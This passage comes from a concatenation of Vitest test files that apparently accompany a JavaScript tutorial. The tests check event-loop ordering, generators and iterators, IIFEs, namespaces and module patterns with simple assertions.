[] let count = 0 function scheduleMicrotask() { Promise.resolve().then(() => { count++ order.push(`microtask ${count}`) if (count < 3) { scheduleMicrotask() } }) } scheduleMicrotask() // Drain all microtasks await Promise.resolve() await Promise.resolve() await Promise.resolve() expect(order).toEqual(['microtask 1', 'microtask 2', 'microtask 3']) }) it('Misconception 1: setTimeout(fn, 0) does NOT run immediately - should output sync, promise, timeout', async () => { // From lines 1084-1096 const order = [] setTimeout(() => order.push('timeout'), 0) Promise.resolve().then(() => order.push('promise')) order.push('sync') await Promise.resolve() await vi.advanceTimersByTimeAsync(0) // Output: sync, promise, timeout (NOT sync, timeout, promise) expect(order).toEqual(['sync', 'promise', 'timeout']) }) it('Test Your Knowledge Q3: Complex ordering - should output E, B, C, A, D', async () => { // From lines 1487-1504 const order = [] setTimeout(() => order.push('A'), 0) Promise.resolve().then(() => order.push('B')) Promise.resolve().then(() => { order.push('C') setTimeout(() => order.push('D'), 0) }) order.push('E') // Drain microtasks await Promise.resolve() await Promise.resolve() expect(order).toEqual(['E', 'B', 'C']) // Drain macrotasks await vi.advanceTimersByTimeAsync(0) expect(order).toEqual(['E', 'B', 'C', 'A', 'D']) }) }) // ============================================================ // COMMON PATTERNS // ============================================================ describe('Common Patterns', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('this binding: regular function loses this context', async () => { // From lines 1354-1363 const obj = { name: 'Alice', greet() { return new Promise(resolve => { setTimeout(function() { // 'this' is undefined in strict mode (or global in non-strict) resolve(this?.name) }, 100) }) } } const resultPromise = obj.greet() await vi.advanceTimersByTimeAsync(100) const result = await resultPromise expect(result).toBeUndefined() }) it('this binding: arrow function preserves this context', async () => { // From lines 1365-1373 const obj = { name: 'Alice', greet() { return new Promise(resolve => { setTimeout(() => { resolve(this.name) }, 100) }) } } const resultPromise = obj.greet() await vi.advanceTimersByTimeAsync(100) const result = await resultPromise expect(result).toBe('Alice') }) it('this binding: bind() preserves this context', async () => { // From lines 1375-1383 const obj = { name: 'Alice', greet() { return new Promise(resolve => { setTimeout(function() { resolve(this.name) }.bind(this), 100) }) } } const resultPromise = obj.greet() await vi.advanceTimersByTimeAsync(100) const result = await resultPromise expect(result).toBe('Alice') }) it('closure in loop: var creates shared reference', async () => { // From lines 1388-1393 const results = [] for (var i = 0; i < 3; i++) { setTimeout(() => results.push(i), 100) } await vi.advanceTimersByTimeAsync(100) // Output: 3, 3, 3 expect(results).toEqual([3, 3, 3]) }) it('closure in loop: let creates new binding per iteration', async () => { // From lines 1395-1399 const results = [] for (let i = 0; i < 3; i++) { setTimeout(() => results.push(i), 100) } await vi.advanceTimersByTimeAsync(100) // Output: 0, 1, 2 expect(results).toEqual([0, 1, 2]) }) it('closure in loop: setTimeout third argument passes value', async () => { // From lines 1401-1405 const results = [] for (var i = 0; i < 3; i++) { setTimeout((j) => results.push(j), 100, i) } await vi.advanceTimersByTimeAsync(100) // Output: 0, 1, 2 expect(results).toEqual([0, 1, 2]) }) it('should implement chunking with setTimeout', async () => { // From lines 1196-1215 const processed = [] const items = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] function processInChunks(items, process, chunkSize = 3) { let index = 0 function doChunk() { const end = Math.min(index + chunkSize, items.length) for (; index < end; index++) { process(items[index]) } if (index < items.length) { setTimeout(doChunk, 0) } } doChunk() } processInChunks(items, item => processed.push(item), 3) // First chunk runs synchronously expect(processed).toEqual([1, 2, 3]) // Run all remaining timers await vi.runAllTimersAsync() expect(processed).toEqual([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) }) it('should implement async polling with nested setTimeout', async () => { // From lines 1532-1540 const results = [] let pollCount = 0 async function poll() { // Simulate async fetch const data = await Promise.resolve(`data ${++pollCount}`) results.push(data) if (pollCount < 3) { setTimeout(poll, 1000) } } poll() // First poll completes immediately (Promise.resolve) await Promise.resolve() expect(results).toEqual(['data 1']) // Second poll after 1000ms await vi.advanceTimersByTimeAsync(1000) await Promise.resolve() expect(results).toEqual(['data 1', 'data 2']) // Third poll after another 1000ms await vi.advanceTimersByTimeAsync(1000) await Promise.resolve() expect(results).toEqual(['data 1', 'data 2', 'data 3']) }) }) // ============================================================ // YIELDING TO EVENT LOOP // ============================================================ describe('Yielding to Event Loop', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should yield with setTimeout(resolve, 0)', async () => { // From lines 1547-1548 const order = [] order.push('before yield') // Create the promise but don't await yet const yieldPromise = new Promise(resolve => setTimeout(resolve, 0)) // Advance timers to resolve the setTimeout await vi.advanceTimersByTimeAsync(0) // Now await the resolved promise await yieldPromise order.push('after yield') expect(order).toEqual(['before yield', 'after yield']) }) it('should yield with queueMicrotask', async () => { // From lines 1550-1551 const order = [] order.push('before yield') await new Promise(resolve => queueMicrotask(resolve)) order.push('after yield') expect(order).toEqual(['before yield', 'after yield']) }) it('should demonstrate difference between setTimeout and queueMicrotask yields', async () => { const order = [] // Schedule a setTimeout callback setTimeout(() => order.push('timeout'), 0) // Yield with queueMicrotask - runs before timeout await new Promise(resolve => queueMicrotask(resolve)) order.push('after queueMicrotask yield') // Timeout hasn't run yet expect(order).toEqual(['after queueMicrotask yield']) // Now let timeout run await vi.advanceTimersByTimeAsync(0) expect(order).toEqual(['after queueMicrotask yield', 'timeout']) }) }) // ============================================================ // EDGE CASES // ============================================================ describe('Edge Cases', () => { beforeEach(() => { vi.useFakeTimers() }) afterEach(() => { vi.useRealTimers() }) it('should handle Promise.resolve() vs new Promise()', async () => { const order = [] // Both create microtasks Promise.resolve().then(() => order.push('Promise.resolve')) new Promise(resolve => resolve()).then(() => order.push('new Promise')) await Promise.resolve() await Promise.resolve() expect(order).toEqual(['Promise.resolve', 'new Promise']) }) it('should handle setTimeout with 0 vs undefined delay', async () => { const order = [] setTimeout(() => order.push('explicit 0'), 0) setTimeout(() => order.push('undefined delay')) await vi.advanceTimersByTimeAsync(0) // Both should run (undefined defaults to 0) expect(order).toEqual(['explicit 0', 'undefined delay']) }) it('should handle clearTimeout with invalid ID', () => { // Should not throw expect(() => clearTimeout(undefined)).not.toThrow() expect(() => clearTimeout(null)).not.toThrow() expect(() => clearTimeout(999999)).not.toThrow() }) it('should handle clearInterval with invalid ID', () => { // Should not throw expect(() => clearInterval(undefined)).not.toThrow() expect(() => clearInterval(null)).not.toThrow() expect(() => clearInterval(999999)).not.toThrow() }) it('should handle promise rejection in microtask', async () => { const order = [] Promise.resolve() .then(() => { order.push('then 1') throw new Error('error') }) .catch(() => order.push('catch')) .then(() => order.push('then after catch')) await Promise.resolve() await Promise.resolve() await Promise.resolve() expect(order).toEqual(['then 1', 'catch', 'then after catch']) }) it('should handle nested setTimeout with different delays', async () => { const order = [] setTimeout(() => { order.push('outer') setTimeout(() => order.push('inner'), 50) }, 100) await vi.advanceTimersByTimeAsync(100) expect(order).toEqual(['outer']) await vi.advanceTimersByTimeAsync(50) expect(order).toEqual(['outer', 'inner']) }) it('should handle multiple Promise.then chains', async () => { const order = [] const p = Promise.resolve() p.then(() => order.push('chain 1')) p.then(() => order.push('chain 2')) p.then(() => order.push('chain 3')) await Promise.resolve() // All chains from same promise run in order expect(order).toEqual(['chain 1', 'chain 2', 'chain 3']) }) it('should handle async function that returns immediately', async () => { const order = [] async function immediate() { order.push('inside async') return 'result' } order.push('before') const promise = immediate() order.push('after') // async function body runs synchronously until first await expect(order).toEqual(['before', 'inside async', 'after']) const result = await promise expect(result).toBe('result') }) it('should handle Promise.all with microtask ordering', async () => { const order = [] Promise.all([ Promise.resolve().then(() => order.push('p1')), Promise.resolve().then(() => order.push('p2')), Promise.resolve().then(() => order.push('p3')) ]).then(() => order.push('all done')) // First tick: individual promises resolve await Promise.resolve() expect(order).toEqual(['p1', 'p2', 'p3']) // Second tick: Promise.all sees all resolved await Promise.resolve() // Third tick: .then() callback runs await Promise.resolve() expect(order).toEqual(['p1', 'p2', 'p3', 'all done']) }) }) }) ================================================ FILE: tests/functions-execution/generators-iterators/generators-iterators.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Generators & Iterators', () => { describe('Basic Iterator Protocol', () => { it('should follow the iterator protocol with { value, done }', () => { function createIterator(arr) { let index = 0 return { next() { if (index < arr.length) { return { value: arr[index++], done: false } } return { value: undefined, done: true } } } } const iterator = createIterator([1, 2, 3]) expect(iterator.next()).toEqual({ value: 1, done: false }) expect(iterator.next()).toEqual({ value: 2, done: false }) expect(iterator.next()).toEqual({ value: 3, done: false }) expect(iterator.next()).toEqual({ value: undefined, done: true }) }) it('should allow accessing array iterator via Symbol.iterator', () => { const arr = [10, 20, 30] const iterator = arr[Symbol.iterator]() expect(iterator.next()).toEqual({ value: 10, done: false }) expect(iterator.next()).toEqual({ value: 20, done: false }) expect(iterator.next()).toEqual({ value: 30, done: false }) expect(iterator.next()).toEqual({ value: undefined, done: true }) }) }) describe('Basic Generator Syntax', () => { it('should create a generator function with function*', () => { function* simpleGenerator() { yield 1 yield 2 yield 3 } const gen = simpleGenerator() expect(gen.next()).toEqual({ value: 1, done: false }) expect(gen.next()).toEqual({ value: 2, done: false }) expect(gen.next()).toEqual({ value: 3, done: false }) expect(gen.next()).toEqual({ value: undefined, done: true }) }) it('should not execute until .next() is called', () => { let executed = false function* trackExecution() { executed = true yield 'done' } const gen = trackExecution() expect(executed).toBe(false) // Not executed yet! gen.next() expect(executed).toBe(true) // Now it's executed }) it('should work with for...of loops', () => { function* colors() { yield 'red' yield 'green' yield 'blue' } const result = [] for (const color of colors()) { result.push(color) } expect(result).toEqual(['red', 'green', 'blue']) }) it('should work with spread operator', () => { function* numbers() { yield 1 yield 2 yield 3 } expect([...numbers()]).toEqual([1, 2, 3]) }) }) describe('yield vs return', () => { it('should pause execution at yield and allow resuming', () => { const executionOrder = [] function* trackOrder() { executionOrder.push('before first yield') yield 'A' executionOrder.push('after first yield') yield 'B' executionOrder.push('after second yield') } const gen = trackOrder() expect(executionOrder).toEqual([]) gen.next() expect(executionOrder).toEqual(['before first yield']) gen.next() expect(executionOrder).toEqual(['before first yield', 'after first yield']) gen.next() expect(executionOrder).toEqual([ 'before first yield', 'after first yield', 'after second yield' ]) }) it('should mark done: true on return', () => { function* withReturn() { yield 'A' return 'B' yield 'C' // This never executes } const gen = withReturn() expect(gen.next()).toEqual({ value: 'A', done: false }) expect(gen.next()).toEqual({ value: 'B', done: true }) expect(gen.next()).toEqual({ value: undefined, done: true }) }) it('should NOT include return value in for...of', () => { function* withReturn() { yield 'A' yield 'B' return 'C' // Not included in iteration! } expect([...withReturn()]).toEqual(['A', 'B']) // No 'C'! }) }) describe('yield* delegation', () => { it('should delegate to another iterable', () => { function* inner() { yield 'a' yield 'b' } function* outer() { yield 1 yield* inner() yield 2 } expect([...outer()]).toEqual([1, 'a', 'b', 2]) }) it('should delegate to arrays', () => { function* withArray() { yield 'start' yield* [1, 2, 3] yield 'end' } expect([...withArray()]).toEqual(['start', 1, 2, 3, 'end']) }) it('should flatten nested arrays recursively', () => { function* flatten(arr) { for (const item of arr) { if (Array.isArray(item)) { yield* flatten(item) } else { yield item } } } const nested = [1, [2, 3, [4, 5]], 6] expect([...flatten(nested)]).toEqual([1, 2, 3, 4, 5, 6]) }) }) describe('Passing values to generators', () => { it('should receive values via .next(value)', () => { function* adder() { const a = yield 'Enter first number' const b = yield 'Enter second number' yield a + b } const gen = adder() expect(gen.next().value).toBe('Enter first number') expect(gen.next(10).value).toBe('Enter second number') expect(gen.next(5).value).toBe(15) }) it('should ignore value passed to first .next()', () => { function* capture() { const first = yield 'ready' yield first } const gen = capture() // First .next() value is ignored because no yield is waiting gen.next('IGNORED') expect(gen.next('captured').value).toBe('captured') }) }) describe('Symbol.iterator - Custom Iterables', () => { it('should make object iterable with Symbol.iterator', () => { const myCollection = { items: ['apple', 'banana', 'cherry'], [Symbol.iterator]() { let index = 0 const items = this.items return { next() { if (index < items.length) { return { value: items[index++], done: false } } return { value: undefined, done: true } } } } } expect([...myCollection]).toEqual(['apple', 'banana', 'cherry']) }) it('should make object iterable with generator', () => { const myCollection = { items: [1, 2, 3], *[Symbol.iterator]() { yield* this.items } } const result = [] for (const item of myCollection) { result.push(item) } expect(result).toEqual([1, 2, 3]) }) it('should create an iterable Range class', () => { class Range { constructor(start, end, step = 1) { this.start = start this.end = end this.step = step } *[Symbol.iterator]() { for (let i = this.start; i <= this.end; i += this.step) { yield i } } } expect([...new Range(1, 5)]).toEqual([1, 2, 3, 4, 5]) expect([...new Range(0, 10, 2)]).toEqual([0, 2, 4, 6, 8, 10]) expect([...new Range(5, 1)]).toEqual([]) // Empty when start > end }) }) describe('Lazy Evaluation', () => { it('should compute values on demand', () => { let computeCount = 0 function* lazyComputation() { while (true) { computeCount++ yield computeCount } } const gen = lazyComputation() expect(computeCount).toBe(0) // Nothing computed yet gen.next() expect(computeCount).toBe(1) gen.next() expect(computeCount).toBe(2) // Only computed twice, not infinitely }) it('should handle infinite sequences safely with take()', () => { function* naturalNumbers() { let n = 1 while (true) { yield n++ } } function* take(n, iterable) { let count = 0 for (const item of iterable) { if (count >= n) return yield item count++ } } expect([...take(5, naturalNumbers())]).toEqual([1, 2, 3, 4, 5]) }) it('should generate Fibonacci sequence lazily', () => { function* fibonacci() { let prev = 0 let curr = 1 while (true) { yield curr const next = prev + curr prev = curr curr = next } } function* take(n, iterable) { let count = 0 for (const item of iterable) { if (count >= n) return yield item count++ } } expect([...take(10, fibonacci())]).toEqual([ 1, 1, 2, 3, 5, 8, 13, 21, 34, 55 ]) }) }) describe('Common Patterns', () => { it('should create a unique ID generator', () => { function* createIdGenerator(prefix = 'id') { let id = 1 while (true) { yield `${prefix}_${id++}` } } const userIds = createIdGenerator('user') const orderIds = createIdGenerator('order') expect(userIds.next().value).toBe('user_1') expect(userIds.next().value).toBe('user_2') expect(orderIds.next().value).toBe('order_1') expect(userIds.next().value).toBe('user_3') expect(orderIds.next().value).toBe('order_2') }) it('should chunk arrays into batches', () => { function* chunk(array, size) { for (let i = 0; i < array.length; i += size) { yield array.slice(i, i + size) } } const data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] expect([...chunk(data, 3)]).toEqual([ [1, 2, 3], [4, 5, 6], [7, 8, 9], [10] ]) }) it('should implement filter and map with generators', () => { function* filter(iterable, predicate) { for (const item of iterable) { if (predicate(item)) { yield item } } } function* map(iterable, transform) { for (const item of iterable) { yield transform(item) } } function* range(start, end) { for (let i = start; i <= end; i++) { yield i } } // Pipeline: 1-10 -> filter evens -> double them const result = map( filter(range(1, 10), n => n % 2 === 0), n => n * 2 ) expect([...result]).toEqual([4, 8, 12, 16, 20]) }) it('should implement a simple state machine', () => { function* trafficLight() { while (true) { yield 'green' yield 'yellow' yield 'red' } } const light = trafficLight() expect(light.next().value).toBe('green') expect(light.next().value).toBe('yellow') expect(light.next().value).toBe('red') expect(light.next().value).toBe('green') // Cycles back expect(light.next().value).toBe('yellow') }) it('should traverse a tree structure', () => { function* traverseTree(node) { yield node.value if (node.children) { for (const child of node.children) { yield* traverseTree(child) } } } const tree = { value: 'root', children: [ { value: 'child1', children: [{ value: 'grandchild1' }, { value: 'grandchild2' }] }, { value: 'child2', children: [{ value: 'grandchild3' }] } ] } expect([...traverseTree(tree)]).toEqual([ 'root', 'child1', 'grandchild1', 'grandchild2', 'child2', 'grandchild3' ]) }) }) describe('Async Generators', () => { it('should create async generators with async function*', async () => { async function* asyncNumbers() { yield await Promise.resolve(1) yield await Promise.resolve(2) yield await Promise.resolve(3) } const results = [] for await (const num of asyncNumbers()) { results.push(num) } expect(results).toEqual([1, 2, 3]) }) it('should handle delayed async values', async () => { const delay = ms => new Promise(resolve => setTimeout(resolve, ms)) async function* delayedNumbers() { await delay(10) yield 1 await delay(10) yield 2 await delay(10) yield 3 } const results = [] for await (const num of delayedNumbers()) { results.push(num) } expect(results).toEqual([1, 2, 3]) }) it('should simulate paginated API fetching', async () => { // Mock paginated data const mockPages = [ { items: ['a', 'b'], hasNextPage: true }, { items: ['c', 'd'], hasNextPage: true }, { items: ['e'], hasNextPage: false } ] async function* fetchAllPages() { let page = 0 let hasMore = true while (hasMore) { // Simulate API call const data = await Promise.resolve(mockPages[page]) yield data.items hasMore = data.hasNextPage page++ } } const allItems = [] for await (const pageItems of fetchAllPages()) { allItems.push(...pageItems) } expect(allItems).toEqual(['a', 'b', 'c', 'd', 'e']) }) }) describe('Generator Exhaustion', () => { it('should only be iterable once', () => { function* nums() { yield 1 yield 2 } const gen = nums() expect([...gen]).toEqual([1, 2]) expect([...gen]).toEqual([]) // Exhausted! }) it('should create fresh generator for each iteration', () => { function* nums() { yield 1 yield 2 } expect([...nums()]).toEqual([1, 2]) expect([...nums()]).toEqual([1, 2]) // Fresh generator each time }) }) describe('Error Handling', () => { it('should allow throwing errors into generator with .throw()', () => { function* gen() { try { yield 'A' yield 'B' } catch (e) { yield `Error: ${e.message}` } } const g = gen() expect(g.next().value).toBe('A') expect(g.throw(new Error('Something went wrong')).value).toBe( 'Error: Something went wrong' ) }) it('should allow early termination with .return()', () => { function* gen() { yield 1 yield 2 yield 3 } const g = gen() expect(g.next().value).toBe(1) expect(g.return('early exit')).toEqual({ value: 'early exit', done: true }) expect(g.next()).toEqual({ value: undefined, done: true }) }) }) }) ================================================ FILE: tests/functions-execution/iife-modules/iife-modules.test.js ================================================ import { describe, it, expect, vi } from 'vitest' describe('IIFE, Modules and Namespaces', () => { // =========================================== // Part 1: IIFE — The Self-Running Function // =========================================== describe('Part 1: IIFE — The Self-Running Function', () => { describe('What is an IIFE?', () => { it('should require calling a normal function manually', () => { let called = false function greet() { called = true } // Function is defined but not called yet expect(called).toBe(false) greet() // You have to call it expect(called).toBe(true) }) it('should run IIFE immediately without manual call', () => { let called = false // An IIFE — it runs immediately, no calling needed ;(function () { called = true })() // Runs right away! expect(called).toBe(true) }) it('should demonstrate IIFE executes during definition', () => { const results = [] results.push('before IIFE') ;(function () { results.push('inside IIFE') })() results.push('after IIFE') expect(results).toEqual(['before IIFE', 'inside IIFE', 'after IIFE']) }) }) describe('IIFE Variations', () => { it('should work with classic style', () => { let executed = false // Classic style ;(function () { executed = true })() expect(executed).toBe(true) }) it('should work with alternative parentheses placement', () => { let executed = false // Alternative parentheses placement ;(function () { executed = true })() expect(executed).toBe(true) }) it('should work with arrow function IIFE (modern)', () => { let executed = false // Arrow function IIFE (modern) ;(() => { executed = true })() expect(executed).toBe(true) }) it('should work with parameters', () => { let greeting = '' // With parameters ;((name) => { greeting = `Hello, ${name}!` })('Alice') expect(greeting).toBe('Hello, Alice!') }) it('should work with named IIFE (useful for debugging)', () => { let executed = false // Named IIFE (useful for debugging) ;(function myIIFE() { executed = true })() expect(executed).toBe(true) }) it('should allow named IIFE to call itself recursively', () => { const result = (function factorial(n) { if (n <= 1) return 1 return n * factorial(n - 1) })(5) expect(result).toBe(120) }) }) describe('Why Were IIFEs Invented? (Global Scope Problem)', () => { it('should demonstrate var variables can be overwritten in same scope', () => { // Simulating file1.js var userName = 'Alice' var count = 0 // Simulating file2.js (loaded after file1.js) var userName = 'Bob' // Overwrites the first userName var count = 100 // Overwrites the first count // Now file1.js's code is broken because its variables were replaced expect(userName).toBe('Bob') expect(count).toBe(100) }) it('should demonstrate IIFE creates private scope', () => { let file1UserName let file2UserName // file1.js — wrapped in an IIFE ;(function () { var userName = 'Alice' // Private to this IIFE file1UserName = userName })() // file2.js — also wrapped in an IIFE ;(function () { var userName = 'Bob' // Different variable, no conflict! file2UserName = userName })() expect(file1UserName).toBe('Alice') expect(file2UserName).toBe('Bob') }) it('should keep IIFE variables inaccessible from outside', () => { ;(function () { var privateVar = 'secret' // privateVar exists here expect(privateVar).toBe('secret') })() // privateVar is not accessible here expect(typeof privateVar).toBe('undefined') }) }) describe('Practical Example: Creating Private Variables (Module Pattern)', () => { it('should create counter with private state', () => { const counter = (function () { // Private variable — can't be accessed directly let count = 0 // Return public interface return { increment() { count++ }, decrement() { count-- }, getCount() { return count } } })() // Using the counter counter.increment() expect(counter.getCount()).toBe(1) counter.increment() expect(counter.getCount()).toBe(2) counter.decrement() expect(counter.getCount()).toBe(1) }) it('should keep count private (not accessible directly)', () => { const counter = (function () { let count = 0 return { increment() { count++ }, getCount() { return count } } })() counter.increment() counter.increment() // Trying to access private variables expect(counter.count).toBe(undefined) // it's private! }) it('should throw TypeError when calling non-existent private function', () => { const counter = (function () { let count = 0 // Private function — also hidden function log(message) { return `[Counter] ${message}` } return { increment() { count++ return log(`Incremented to ${count}`) }, getCount() { return count } } })() // Private log function works internally expect(counter.increment()).toBe('[Counter] Incremented to 1') // But not accessible from outside expect(counter.log).toBe(undefined) expect(() => counter.log('test')).toThrow(TypeError) }) it('should create multiple independent counter instances', () => { function createCounter() { let count = 0 return { increment() { count++ }, getCount() { return count } } } const counter1 = createCounter() const counter2 = createCounter() counter1.increment() counter1.increment() counter1.increment() counter2.increment() expect(counter1.getCount()).toBe(3) expect(counter2.getCount()).toBe(1) }) }) describe('IIFE with Parameters', () => { it('should pass parameters into IIFE', () => { const result = (function (a, b) { return a + b })(10, 20) expect(result).toBe(30) }) it('should create local aliases for global objects', () => { const globalObj = { name: 'Global' } const result = (function (obj) { // Inside here, obj is a local reference return obj.name })(globalObj) expect(result).toBe('Global') }) it('should preserve parameter values even if outer variable changes', () => { let value = 'original' const getOriginalValue = (function (capturedValue) { return function () { return capturedValue } })(value) value = 'changed' expect(getOriginalValue()).toBe('original') expect(value).toBe('changed') }) }) describe('When to Use IIFEs Today', () => { describe('One-time initialization code', () => { it('should create config object with computed values', () => { const config = (() => { const env = 'production' // simulating process.env.NODE_ENV const apiUrl = env === 'production' ? 'https://api.example.com' : 'http://localhost:3000' return { env, apiUrl } })() expect(config.env).toBe('production') expect(config.apiUrl).toBe('https://api.example.com') }) it('should use development URL when not in production', () => { const config = (() => { const env = 'development' const apiUrl = env === 'production' ? 'https://api.example.com' : 'http://localhost:3000' return { env, apiUrl } })() expect(config.env).toBe('development') expect(config.apiUrl).toBe('http://localhost:3000') }) }) describe('Creating async IIFEs', () => { it('should execute async IIFE', async () => { let result = null await (async () => { result = await Promise.resolve('data loaded') })() expect(result).toBe('data loaded') }) it('should handle async operations in IIFE', async () => { const data = await (async () => { const response = await Promise.resolve({ json: () => ({ id: 1, name: 'Test' }) }) return response.json() })() expect(data).toEqual({ id: 1, name: 'Test' }) }) }) }) }) // =========================================== // Part 2: Namespaces — Organizing Under One Name // =========================================== describe('Part 2: Namespaces — Organizing Under One Name', () => { describe('What is a Namespace?', () => { it('should demonstrate variables without namespace can conflict', () => { // Without namespace — variables everywhere var userName = 'Alice' var userAge = 25 // These could easily conflict with other code var userName = 'Bob' // Overwrites! expect(userName).toBe('Bob') }) it('should organize data under one namespace object', () => { // With namespace — everything organized under one name const User = { name: 'Alice', age: 25, email: 'alice@example.com', login() { return `${this.name} logged in` }, logout() { return `${this.name} logged out` } } // Access with the namespace prefix expect(User.name).toBe('Alice') expect(User.age).toBe(25) expect(User.login()).toBe('Alice logged in') expect(User.logout()).toBe('Alice logged out') }) }) describe('Creating a Namespace', () => { it('should create simple namespace and add properties', () => { // Simple namespace const MyApp = {} // Add things to it MyApp.version = '1.0.0' MyApp.config = { apiUrl: 'https://api.example.com', timeout: 5000 } expect(MyApp.version).toBe('1.0.0') expect(MyApp.config.apiUrl).toBe('https://api.example.com') expect(MyApp.config.timeout).toBe(5000) }) it('should add utility methods to namespace', () => { const MyApp = {} MyApp.utils = { formatDate(date) { return date.toLocaleDateString() }, capitalize(str) { return str.charAt(0).toUpperCase() + str.slice(1) } } expect(MyApp.utils.capitalize('hello')).toBe('Hello') expect(MyApp.utils.capitalize('world')).toBe('World') const testDate = new Date('2024-01-15') expect(typeof MyApp.utils.formatDate(testDate)).toBe('string') }) }) describe('Nested Namespaces', () => { it('should create nested namespace structure', () => { // Create the main namespace const MyApp = { // Nested namespaces Models: {}, Views: {}, Controllers: {}, Utils: {} } expect(MyApp.Models).toEqual({}) expect(MyApp.Views).toEqual({}) expect(MyApp.Controllers).toEqual({}) expect(MyApp.Utils).toEqual({}) }) it('should add functionality to nested namespaces', () => { const MyApp = { Models: {}, Views: {}, Utils: {} } // Add to nested namespaces MyApp.Models.User = { create(name) { return { name, id: Date.now() } }, find(id) { return { id, name: 'Found User' } } } MyApp.Views.UserList = { render(users) { return users.map((u) => u.name).join(', ') } } MyApp.Utils.Validation = { isEmail(str) { return str.includes('@') } } // Use nested namespaces const user = MyApp.Models.User.create('Alice') expect(user.name).toBe('Alice') expect(typeof user.id).toBe('number') const found = MyApp.Models.User.find(123) expect(found.id).toBe(123) const rendered = MyApp.Views.UserList.render([{ name: 'Alice' }, { name: 'Bob' }]) expect(rendered).toBe('Alice, Bob') expect(MyApp.Utils.Validation.isEmail('test@example.com')).toBe(true) expect(MyApp.Utils.Validation.isEmail('invalid')).toBe(false) }) }) describe('Combining Namespaces with IIFEs', () => { it('should create namespace with IIFE for private variables', () => { const MyApp = {} // Use IIFE to add features with private variables MyApp.Counter = (function () { // Private let count = 0 // Public return { increment() { count++ }, decrement() { count-- }, getCount() { return count } } })() MyApp.Counter.increment() MyApp.Counter.increment() expect(MyApp.Counter.getCount()).toBe(2) MyApp.Counter.decrement() expect(MyApp.Counter.getCount()).toBe(1) // Private count is not accessible expect(MyApp.Counter.count).toBe(undefined) }) it('should create Logger with private logs array', () => { const MyApp = {} MyApp.Logger = (function () { // Private const logs = [] // Public return { log(message) { logs.push({ message, time: new Date() }) return message // Return for testing }, getLogs() { return [...logs] // Return a copy }, getLogCount() { return logs.length } } })() MyApp.Logger.log('First message') MyApp.Logger.log('Second message') expect(MyApp.Logger.getLogCount()).toBe(2) const allLogs = MyApp.Logger.getLogs() expect(allLogs[0].message).toBe('First message') expect(allLogs[1].message).toBe('Second message') // Returned array is a copy, modifying it doesn't affect internal logs allLogs.push({ message: 'Fake log' }) expect(MyApp.Logger.getLogCount()).toBe(2) }) it('should combine Counter and Logger in same namespace', () => { const MyApp = {} MyApp.Counter = (function () { let count = 0 return { increment() { count++ return count }, getCount() { return count } } })() MyApp.Logger = (function () { const logs = [] return { log(message) { logs.push(message) }, getLogs() { return [...logs] } } })() // Usage const newCount = MyApp.Counter.increment() MyApp.Logger.log(`Counter incremented to ${newCount}`) expect(MyApp.Counter.getCount()).toBe(1) expect(MyApp.Logger.getLogs()).toEqual(['Counter incremented to 1']) }) }) }) // =========================================== // Part 3: ES6 Modules — The Modern Solution (Patterns) // =========================================== describe('Part 3: ES6 Modules — Pattern Testing', () => { describe('Named Export Patterns', () => { it('should test function that would be named export', () => { // These functions would be: export function add(a, b) { ... } function add(a, b) { return a + b } function subtract(a, b) { return a - b } const PI = 3.14159 expect(add(2, 3)).toBe(5) expect(subtract(10, 4)).toBe(6) expect(PI).toBe(3.14159) }) it('should test square and cube functions', () => { // export function square(x) { return x * x; } function square(x) { return x * x } // function cube(x) { return x * x * x; } // export { cube }; function cube(x) { return x * x * x } expect(square(4)).toBe(16) expect(square(5)).toBe(25) expect(cube(3)).toBe(27) expect(cube(4)).toBe(64) }) it('should test Calculator class', () => { // export class Calculator { ... } class Calculator { add(a, b) { return a + b } subtract(a, b) { return a - b } multiply(a, b) { return a * b } divide(a, b) { return a / b } } const calc = new Calculator() expect(calc.add(5, 3)).toBe(8) expect(calc.subtract(10, 4)).toBe(6) expect(calc.multiply(3, 4)).toBe(12) expect(calc.divide(20, 5)).toBe(4) }) it('should test math constants', () => { const PI = 3.14159 const E = 2.71828 expect(PI).toBeCloseTo(3.14159, 5) expect(E).toBeCloseTo(2.71828, 5) }) }) describe('Default Export Patterns', () => { it('should test greet function (default export pattern)', () => { // export default function greet(name) { ... } function greet(name) { return `Hello, ${name}!` } expect(greet('World')).toBe('Hello, World!') expect(greet('Alice')).toBe('Hello, Alice!') }) it('should test User class (default export pattern)', () => { // export default class User { ... } class User { constructor(name) { this.name = name } greet() { return `Hi, I'm ${this.name}` } } const user = new User('Alice') expect(user.name).toBe('Alice') expect(user.greet()).toBe("Hi, I'm Alice") const bob = new User('Bob') expect(bob.greet()).toBe("Hi, I'm Bob") }) }) describe('Module Privacy Pattern', () => { it('should demonstrate unexported variables are private', () => { // In a real module: // let currentUser = null; // Private to this module // export function login() { currentUser = ... } // export function getCurrentUser() { return currentUser } // Simulating with closure const authModule = (function () { let currentUser = null // Private to this module return { login(email) { currentUser = { email, loggedInAt: new Date() } return currentUser }, getCurrentUser() { return currentUser }, logout() { currentUser = null } } })() expect(authModule.getCurrentUser()).toBe(null) authModule.login('user@example.com') expect(authModule.getCurrentUser().email).toBe('user@example.com') authModule.logout() expect(authModule.getCurrentUser()).toBe(null) // currentUser is not directly accessible expect(authModule.currentUser).toBe(undefined) }) }) describe('Re-export Pattern (Barrel Files)', () => { it('should demonstrate re-export concept', () => { // utils/format.js const formatModule = { formatDate(date) { return date.toLocaleDateString() }, formatCurrency(amount) { return `$${amount.toFixed(2)}` } } // utils/validate.js const validateModule = { isEmail(str) { return str.includes('@') }, isPhone(str) { return /^\d{10}$/.test(str) } } // utils/index.js — re-exports everything const Utils = { ...formatModule, ...validateModule } expect(Utils.formatCurrency(19.99)).toBe('$19.99') expect(Utils.isEmail('test@example.com')).toBe(true) expect(Utils.isPhone('1234567890')).toBe(true) expect(Utils.isPhone('123')).toBe(false) }) }) }) // =========================================== // The Evolution: From IIFEs to Modules // =========================================== describe('The Evolution: From IIFEs to Modules', () => { describe('Era 1: Global (Bad)', () => { it('should demonstrate global variable problem', () => { // Everything pollutes global scope var counter = 0 function increment() { counter++ } function getCount() { return counter } increment() expect(getCount()).toBe(1) // Problem: Anyone can do this counter = 999 // Oops, state corrupted! expect(getCount()).toBe(999) }) }) describe('Era 